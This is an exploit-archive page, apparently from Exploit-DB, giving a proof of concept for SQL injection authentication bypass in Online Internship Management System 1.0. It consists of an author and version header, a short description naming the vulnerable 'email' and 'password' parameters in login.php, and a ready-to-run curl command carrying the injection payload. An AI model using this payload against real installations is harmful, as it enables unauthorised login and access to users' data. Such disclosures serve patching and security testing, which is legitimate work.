6dac9b1447
6 changes to exploits/shellcodes Managed Switch Port Mapping Tool 2.85.2 - Denial of Service (PoC) AgataSoft PingMaster Pro 2.1 - Denial of Service (PoC) Nsauditor 3.2.2.0 - 'Event Description' Denial of Service (PoC) Online Internship Management System 1.0 - 'email' SQL injection Auth Bypass BlackCat CMS 1.3.6 - 'Display name' Cross Site Scripting (XSS)
18 lines
No EOL
737 B
Text
18 lines
No EOL
737 B
Text
# Exploit Title: Online Internship Management System 1.0 - 'email' SQL injection Auth Bypass
|
|
# Date: 16-02-2021
|
|
# Exploit Author: Christian Vierschilling
|
|
# Vendor Homepage: https://www.sourcecodester.com
|
|
# Software Link: https://www.sourcecodester.com/php/14712/online-internship-management-system-phpmysqli-full-source-code.html
|
|
# Version: 1.0
|
|
# Tested on: PHP 7.4.14, Linux x64_x86
|
|
|
|
|
|
# --- Description --- #
|
|
|
|
The application contains sql injections in the parameters 'email' and 'password' in the file 'login.php'.
|
|
|
|
# --- Proof of concept --- #
|
|
|
|
Curl request for authentication bypass via sql injection in parameter 'email':
|
|
|
|
curl http://x.x.x.x/internship/login.php --data "email='%20or%201=1;#&password=none&login=" |